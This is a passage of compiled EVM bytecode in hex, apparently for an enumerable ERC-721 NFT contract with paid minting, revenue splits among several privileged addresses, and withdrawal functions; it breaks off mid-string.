0x60806040526004361061023a5760003560e01c80636f2e836a1161012e578063a22cb465116100ab578063c87b56dd1161006f578063c87b56dd1461083b578063e7b62d9614610878578063e985e9c5146108a3578063f2fde38b146108e0578063f6c9d9e3146109095761023a565b8063a22cb4651461076a578063acec338a14610793578063ad06d758146107bc578063b88d4fde146107e7578063c4e41b22146108105761023a565b80638da5cb5b116100f25780638da5cb5b1461069557806391b7f5ed146106c057806395d89b41146106e957806398d5fdca146107145780639a3bf7281461073f5761023a565b80636f2e836a146105ea57806370a0823114610613578063715018a61461065057806371e3500c14610667578063853828b61461067e5761023a565b806342842e0e116101bc57806351aed5561161018057806351aed5561461051957806352fe811e1461053057806355f804b31461055b57806356a87caa146105845780636352211e146105ad5761023a565b806342842e0e14610422578063438b63001461044b578063442890d514610488578063498a6de7146104b35780634f6ccce7146104dc5761023a565b806318160ddd1161020357806318160ddd1461034a57806322f3e2d41461037557806323b872dd146103a05780632f745c59146103c957806340c10f19146104065761023a565b806265453c1461023f57806301ffc9a71461027c57806306fdde03146102b9578063081812fc146102e4578063095ea7b314610321575b600080fd5b34801561024b57600080fd5b506102666004803603810190610261919061447f565b610932565b60405161027391906150d6565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e919061464f565b6109ea565b6040516102b09190614cf0565b60405180910390f35b3480156102c557600080fd5b506102ce610a64565b6040516102db9190614d0b565b60405180910390f35b3480156102f057600080fd5b5061030b600480360381019061030691906146e2565b610af6565b6040516103189190614c67565b60405180910390f35b34801561032d57600080fd5b50610348600480360381019061034391906145ea565b610b7b565b005b34801561035657600080fd5b5061035f610c93565b60405161036c91906150d6565b60405180910390f35b34801561038157600080fd5b5061038a610ca0565b6040516103979190614cf0565b60405180910390f35b3480156103ac57600080fd5b506103c760048036038101906103c291906144e4565b610cb3565b005b3480156103d557600080fd5b506103f060048036038101906103eb91906145ea565b610d13565b6040516103fd91906150d6565b60405180910390f35b610420600480360381019061041b91906145ea565b610db8565b005b34801561042e57600080fd5b50610449600480360381019061044491906144e4565b611003565b005b34801561045757600080fd5b50610472600480360381019061046d919061447f565b611023565b60405161047f9190614cce565b60405180910390f35b34801561049457600080fd5b5061049d61111d565b6040516104aa9190614c67565b60405180910390f35b3480156104bf57600080fd5b506104da60048036038101906104d5919061447f565b61112c565b005b3480156104e857600080fd5b5061050360048036038101906104fe91906146e2565b611340565b60405161051091906150d6565b60405180910390f35b34801561052557600080fd5b5061052e6113d7565b005b34801561053c57600080fd5b50610545611516565b60405161055291906150d6565b60405180910390f35b34801561056757600080fd5b50610582600480360381019061057d91906146a1565b611520565b005b34801561059057600080fd5b506105ab60048036038101906105a691906146e2565b611681565b005b3480156105b957600080fd5b506105d460048036038101906105cf91906146e2565b6117d2565b6040516105e19190614c67565b60405180910390f35b3480156105f657600080fd5b50610611600480360381019061060c91906146e2565b611884565b005b34801561061f57600080fd5b5061063a6004803603810190610635919061447f565b611aca565b60405161064791906150d6565b60405180910390f35b34801561065c57600080fd5b50610665611b82565b005b34801561067357600080fd5b5061067c611c0a565b005b34801561068a57600080fd5b50610693611df5565b005b3480156106a157600080fd5b506106aa612229565b6040516106b79190614c67565b60405180910390f35b3480156106cc57600080fd5b506106e760048036038101906106e291906146e2565b612253565b005b3480156106f557600080fd5b506106fe6123a4565b60405161070b9190614d0b565b60405180910390f35b34801561072057600080fd5b50610729612436565b60405161073691906150d6565b60405180910390f35b34801561074b57600080fd5b50610754612440565b60405161076191906150d6565b60405180910390f35b34801561077657600080fd5b50610791600480360381019061078c91906145ae565b612446565b005b34801561079f57600080fd5b506107ba60048036038101906107b59190614626565b6125c7565b005b3480156107c857600080fd5b506107d161272b565b6040516107de91906150d6565b60405180910390f35b3480156107f357600080fd5b5061080e60048036038101906108099190614533565b61287c565b005b34801561081c57600080fd5b506108256128de565b60405161083291906150d6565b60405180910390f35b34801561084757600080fd5b50610862600480360381019061085d91906146e2565b6128ed565b60405161086f9190614d0b565b60405180910390f35b34801561088457600080fd5b5061088d612994565b60405161089a91906150d6565b60405180910390f35b3480156108af57600080fd5b506108ca60048036038101906108c591906144a8565b61299e565b6040516108d79190614cf0565b60405180910390f35b3480156108ec57600080fd5b506109076004803603810190610902919061447f565b612a32565b005b34801561091557600080fd5b50610930600480360381019061092b91906146e2565b612b2a565b005b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a90614f0d565b60405180910390fd5b601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60007f780e9d63000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480610a5d5750610a5c82612c7b565b5b9050919050565b606060008054610a73906153cd565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9f906153cd565b8015610aec5780601f10610ac157610100808354040283529160200191610aec565b820191906000526020600020905b815481529060010190602001808311610acf57829003601f168201915b5050505050905090565b6000610b0182612d5d565b610b40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3790614f4d565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610b86826117d2565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610bf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bee90614fed565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610c16612dc9565b73ffffffffffffffffffffffffffffffffffffffff161480610c455750610c4481610c3f612dc9565b61299e565b5b610c84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7b90614e8d565b60405180910390fd5b610c8e8383612dd1565b505050565b6000600880549050905090565b601860009054906101000a900460ff1681565b610cc4610cbe612dc9565b82612e8a565b610d03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfa9061502d565b60405180910390fd5b610d0e838383612f68565b505050565b6000610d1e83611aca565b8210610d5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5690614d8d565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002054905092915050565b600c54610dc3610c93565b1115610e04576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dfb90614e0d565b60405180910390fd5b610e0c612229565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e8e57601860009054906101000a900460ff16610e8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8490614d6d565b60405180910390fd5b5b600c5481610e9a610c93565b610ea491906151f4565b1115610ee5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edc9061500d565b60405180910390fd5b600c54610ef0610c93565b1115610f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f289061506d565b60405180910390fd5b601754811115610f76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6d90614fcd565b60405180910390fd5b80600b54610f84919061527b565b341015610fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fbd9061508d565b60405180910390fd5b60005b81811015610ff557610fe283610fdd610c93565b6131c4565b8080610fed90615430565b915050610fc9565b50610fff816131e2565b5050565b61101e8383836040518060200160405280600081525061287c565b505050565b6060600061103083611aca565b905060008167ffffffffffffffff811115611074577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156110a25781602001602082028036833780820191505090505b50905060005b82811015611112576110ba8582610d13565b8282815181106110f3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001018181525050808061110a90615430565b9150506110a8565b508092505050919050565b6000611127612229565b905090565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806111ba57503373ffffffffffffffffffffffffffffffffffffffff166111a2612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061121257503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061126a57503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61127357600080fd5b61127c816133b6565b6112bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b290614d2d565b60405180910390fd5b80601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061134a610c93565b821061138b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113829061504d565b60405180910390fd5b600882815481106113c5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90600052602060002001549050919050565b6113df612dc9565b73ffffffffffffffffffffffffffffffffffffffff166113fd612229565b73ffffffffffffffffffffffffffffffffffffffff1614611453576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144a90614f6d565b60405180910390fd5b601860009054906101000a900460ff16156114a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149a90614d4d565b60405180910390fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561150b573d6000803e3d6000fd5b506115146133cf565b565b6000600c54905090565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806115ae57503373ffffffffffffffffffffffffffffffffffffffff16611596612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061160657503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061165e57503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61166757600080fd5b806013908051906020019061167d9291906142a3565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061170f57503373ffffffffffffffffffffffffffffffffffffffff166116f7612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061176757503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806117bf57503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6117c857600080fd5b80600f8190555050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561187b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187290614eed565b60405180910390fd5b80915050919050565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061191257503373ffffffffffffffffffffffffffffffffffffffff166118fa612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061196a57503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b806119c257503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6119cb57600080fd5b6000479050818110156119dd57600080fd5b81601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611a2957600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015611a6f573d6000803e3d6000fd5b5081601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611abf91906152d5565b925050819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3290614ecd565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611b8a612dc9565b73ffffffffffffffffffffffffffffffffffffffff16611ba8612229565b73ffffffffffffffffffffffffffffffffffffffff1614611bfe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf590614f6d565b60405180910390fd5b611c086000613506565b565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611c9857503373ffffffffffffffffffffffffffffffffffffffff16611c80612229565b73ffffffffffffffffffffffffffffffffffffffff16145b80611cf057503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80611d4857503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611d5157600080fd5b600f54600e541115611d98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8f90614ead565b60405180910390fd5b6000611da2610c93565b905060005b600d54811015611df157611dc6338284611dc191906151f4565b6131c4565b600e6000815480929190611dd990615430565b91905055508080611de990615430565b915050611da7565b5050565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480611e8357503373ffffffffffffffffffffffffffffffffffffffff16611e6b612229565b73ffffffffffffffffffffffffffffffffffffffff16145b80611edb57503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80611f3357503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b611f3c57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60166000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f19350505050158015612005573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60166000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f193505050501580156120cf573d6000803e3d6000fd5b5060006120da6135cc565b90508060166000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461214d91906152d5565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60166000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549081150290604051600060405180830381858888f1935050505015801561221d573d6000803e3d6000fd5b506122266133cf565b50565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806122e157503373ffffffffffffffffffffffffffffffffffffffff166122c9612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061233957503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061239157503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61239a57600080fd5b80600b8190555050565b6060600180546123b3906153cd565b80601f01602080910402602001604051908101604052809291908181526020018280546123df906153cd565b801561242c5780601f106124015761010080835404028352916020019161242c565b820191906000526020600020905b81548152906001019060200180831161240f57829003601f168201915b5050505050905090565b6000600b54905090565b60175481565b61244e612dc9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124b390614e4d565b60405180910390fd5b80600560006124c9612dc9565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16612576612dc9565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516125bb9190614cf0565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061265557503373ffffffffffffffffffffffffffffffffffffffff1661263d612229565b73ffffffffffffffffffffffffffffffffffffffff16145b806126ad57503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061270557503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61270e57600080fd5b80601860006101000a81548160ff02191690831515021790555050565b60003373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806127bb57503373ffffffffffffffffffffffffffffffffffffffff166127a3612229565b73ffffffffffffffffffffffffffffffffffffffff16145b8061281357503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b8061286b57503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61287457600080fd5b601754905090565b61288d612887612dc9565b83612e8a565b6128cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c39061502d565b60405180910390fd5b6128d884848484613724565b50505050565b60006128e8610c93565b905090565b60606128f882612d5d565b612937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161292e90614fad565b60405180910390fd5b6000612941613780565b90506000815111612961576040518060200160405280600081525061298c565b8061296b84613812565b60405160200161297c929190614c43565b6040516020818303038152906040525b915050919050565b6000600d54905090565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b612a3a612dc9565b73ffffffffffffffffffffffffffffffffffffffff16612a58612229565b73ffffffffffffffffffffffffffffffffffffffff1614612aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aa590614f6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b1590614dcd565b60405180910390fd5b612b2781613506565b50565b3373ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480612bb857503373ffffffffffffffffffffffffffffffffffffffff16612ba0612229565b73ffffffffffffffffffffffffffffffffffffffff16145b80612c1057503373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b80612c6857503373ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b612c7157600080fd5b80600d8190555050565b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19161480612d4657507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80612d565750612d55826139bf565b5b9050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16612e44836117d2565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000612e9582612d5d565b612ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ecb90614e6d565b60405180910390fd5b6000612edf836117d2565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480612f4e57508373ffffffffffffffffffffffffffffffffffffffff16612f3684610af6565b73ffffffffffffffffffffffffffffffffffffffff16145b80612f5f5750612f5e818561299e565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16612f88826117d2565b73ffffffffffffffffffffffffffffffffffffffff1614612fde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fd590614f8d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561304e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161304590614e2d565b60405180910390fd5b613059838383613a29565b613064600082612dd1565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130b491906152d5565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461310b91906151f4565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b6131de828260405180602001604052806000815250613b3d565b5050565b6000600b54826131f2919061527b565b905060006127106104e283613207919061527b565b613211919061524a565b905060006127106104e284613226919061527b565b613230919061524a565b90508160166000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546132a391906151f4565b925050819055508060166000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461331b91906151f4565b9250508190555080828461332f91906152d5565b61333991906152d5565b60166000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546133a991906151f4565b9250508190555050505050565b600080823b905060008163ffffffff1611915050919050565b600060166000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060166000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600060166000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000806135fa601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610932565b90506000613612600383613b9890919063ffffffff16565b9050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561367c573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631d9d97ab600a60149054906101000a900461ffff16836040518363ffffffff1660e01b81526004016136ea9291906150ad565b600060405180830381600087803b15801561370457600080fd5b505af1158015613718573d6000803e3d6000fd5b50505050809250505090565b61372f848484612f68565b61373b84848484613bae565b61377a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161377190614dad565b60405180910390fd5b50505050565b60606013805461378f906153cd565b80601f01602080910402602001604051908101604052809291908181526020018280546137bb906153cd565b80156138085780601f106137dd57610100808354040283529160200191613808565b820191906000526020600020905b8154815290600101906020018083116137eb57829003601f168201915b5050505050905090565b6060600082141561385a576040518060400160405280600181526020017f300000000000000000000000000000000000000000000000000000000000000081525090506139ba565b600082905060005b6000821461388c57808061387590615430565b915050600a82613885919061524a565b9150613862565b60008167ffffffffffffffff8111156138ce577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f1916602001820160405280156139005781602001600182028036833780820191505090505b5090505b600085146139b35760018261391991906152d5565b9150600a856139289190615479565b603061393491906151f4565b60f81b818381518110613970577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a856139ac919061524a565b9450613904565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b613a34838383613d45565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415613a7757613a7281613d4a565b613ab6565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614613ab557613ab48382613d93565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613af957613af481613f00565b613b38565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613b3757613b368282614043565b5b5b505050565b613b4783836140c2565b613b546000848484613bae565b613b93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b8a90614dad565b60405180910390fd5b505050565b60008183613ba6919061524a565b905092915050565b6000613bcf8473ffffffffffffffffffffffffffffffffffffffff16614290565b15613d38578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02613bf8612dc9565b8786866040518563ffffffff1660e01b8152600401613c1a9493929190614c82565b602060405180830381600087803b158015613c3457600080fd5b505af1925050508015613c6557506040513d601f19601f82011682018060405250810190613c629190614678565b60015b613ce8573d8060008114613c95576040519150601f19603f3d011682016040523d82523d6000602084013e613c9a565b606091505b50600081511415613ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613cd790614dad565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050613d3d565b600190505b949350505050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b60006001613da084611aca565b613daa91906152d5565b9050600060076000848152602001908152602001600020549050818114613e8f576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b60006001600880549050613f1491906152d5565b9050600060096000848152602001908152602001600020549050600060088381548110613f6a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020015490508060088381548110613fb2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480614027577f4e487b71000000000000000000000000000